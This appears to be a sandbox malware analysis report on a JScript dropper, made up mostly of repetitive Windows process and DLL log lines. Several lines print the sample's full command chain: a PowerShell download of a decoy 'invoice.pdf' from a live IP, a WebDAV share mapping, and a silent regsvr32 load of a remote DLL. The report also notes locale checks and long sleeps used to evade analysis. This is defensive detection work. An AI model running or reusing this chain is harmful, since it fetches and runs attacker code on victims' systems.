Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\2146.js.csv");ITextStream.WriteLine(" entry:8015 f:gavtzgy");ITextStream.WriteLine(" exec:2 f:gavtzgy");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49712

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5574			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4159			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1504	Thread sleep count: 5574 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1504	Thread sleep count: 4159 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5740	Thread sleep time: -17524406870024063s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6860	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 6024	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 6748	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: net.exe, 00000007.00000002.1632346747.000002A0BCC1E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2853990508.000001F79AE2B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW0
Source: net.exe, 00000007.00000002.1632346747.000002A0BCC79000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2858400338.000001F7A045B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\196992805416312.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\196992805416312.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\196992805416312.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.ConsoleHost\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.ConsoleHost.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Xml\v4.0_4.0.0.0__b77a5c561934e089\System.XML.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Management.Infrastructure\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Security\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Security.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Utility\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Utility.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
